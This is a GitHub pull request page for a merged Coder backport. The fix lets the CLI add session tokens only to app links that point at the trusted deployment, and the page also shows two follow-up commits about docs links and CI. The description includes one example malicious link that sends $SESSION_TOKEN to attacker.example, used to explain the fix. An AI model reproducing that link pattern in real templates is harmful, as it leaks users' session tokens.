Skip to content

fix: only add the session token to trusted app links in coder open app (#31721) - #31796

Merged
denisra merged 1 commit into
release/2.39from
backport/31721-to-2.39
Nov 9, 2026
Merged

denisra merged 1 commit into
release/2.39from
backport/31721-to-2.39

Conversation

@coder-backporter-app

Copy link
Copy Markdown

Backport of #31721

Original PR: #31721 — fix: only add the session token to trusted app links in coder open app
Merge commit: 34a14cb
Requested by: @dylanhuff-at-coder

#31721)

`coder open app` filled in `$SESSION_TOKEN` for every external app
defined in a template, wherever the link pointed. Since #31208 the
dashboard only does that when the link opens a known Coder IDE handler
and its `url` param is this deployment, so a template app like
`vscode://coder.coder-remote/open?url=https://attacker.example&token=$SESSION_TOKEN`
was blocked in the dashboard but still got the token from the CLI.

This ports the same check to the CLI. A link is trusted when its `url`
matches the URL the CLI is logged in to or the deployment's dashboard
URL from build info. Links that fail the check are printed with a
warning and not opened, the same way sub-agent apps with the placeholder
already are. The Go check mirrors `isSessionTokenDestinationTrusted` in
`site/src/modules/apps/apps.ts` and the unit tests reuse its cases.
Params are parsed like `URLSearchParams`, which is what the IDE
extensions use. Where Go can't match the browser exactly, the CLI
rejects the link instead: non-ASCII hosts (browsers map them through
IDNA) and invalid percent escapes.

Heads up that template apps the dashboard already blocks will now stop
getting a token from `coder open app` too. This also adds a short
section to the template apps docs on when external app links get a
session token, since that wasn't documented for the dashboard either.

Fixes CLI-57

Follow-up to CORE-783:
https://linear.app/codercom/issue/CORE-783/security-coordinate-backend-validation-for-session-token-app-url

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
(cherry picked from commit 34a14cb)
@coder-backporter-app coder-backporter-app Bot added the backport/v2.39 Backport PR targeting release/2.39 label Nov 5, 2026
@github-actions github-actions Bot added the community Pull Requests and issues created by the community. label Nov 5, 2026
@denisra
denisra merged commit 1b0fab7 into release/2.39 Nov 9, 2026
82 of 85 checks passed
@denisra
denisra deleted the backport/31721-to-2.39 branch November 9, 2026 20:38
bpmct pushed a commit that referenced this pull request Nov 12, 2026
)

The 2.39 docs at coder.com/docs/v2.39 haven't updated since 2026-11-09:
every hourly publish of `release/2.39` since 21:23 UTC that day has
failed, 92 runs and counting. The docs sync builds 2.39 strictly and
stops on one broken link:

```
DocSyncError: docs sync found 1 blocking issue group(s):
1 inter-doc link(s) resolve to no synced page:
  admin/templates/extending-templates/index.md -> admin/workspaces/devcontainers/customizing-dev-containers.md
```

The backport in #31796 (`1b0fab74f6`) carried over `main`'s link to
`admin/workspaces/devcontainers/customizing-dev-containers.md`, but on
2.39 that page still lives at
`user-guides/devcontainers/customizing-dev-containers.md`. This points
the link there. It also unblocks #32122's Agent Relay docs, which merged
into `release/2.39` today and can't publish until this lands.

Testing: I ran the docs-engine sync in single-version publish mode
against `release/2.39` before and after this change. Before, it reported
the one unmapped link above; after, it reports none (495 pages, 330
images). The new target has a route in 2.39's `docs/manifest.json`, and
the relative path resolves from the source file.

---

🤖 Built with AI assistance.
nickvigilante added a commit that referenced this pull request Nov 18, 2026
The docs link check (Linkspector, in `weekly-docs.yaml`) only runs on
pull requests to `main`, and its weekly scheduled run only checks
`main`. Pull requests to `release/**` never get it. That let #31796, a
backport to `release/2.39`, merge with a link to
`admin/workspaces/devcontainers/customizing-dev-containers.md`, `main`'s
layout for that page; on 2.39 the page is still under
`user-guides/devcontainers/`. No check flagged it, and the docs publish
has refused to build 2.39 since 2026-11-09 because of it.

This adds `release/**` to the `pull_request` branches, so the same check
runs on backports. On pull requests Linkspector only checks the Markdown
files the PR changes (`filter_mode: file`), so a backport pays only for
its own files. The Slack notification still fires only for the scheduled
run.

A pull request runs the workflow from the branch it targets, so this
only takes effect on a release branch once it's backported there. It
should be cherry-picked to each release branch that still takes docs
backports (at least 2.39, 2.38 and 2.37).

`actionlint` reports the workflow clean.

---

🤖 Built with AI assistance.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

backport/v2.39 Backport PR targeting release/2.39 community Pull Requests and issues created by the community.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants